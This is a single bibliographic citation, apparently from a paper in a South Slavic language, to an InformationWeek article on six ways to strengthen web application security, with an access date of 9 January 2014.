[6] Schwartz J. Mathew, 6 Ways To Strengthen Web App Security, <http://www.informationweek.com/security/risk-management/6-ways-to-strengthen-web-app-security/d/d-id/1106197>? Dostupno: 09.01.2014.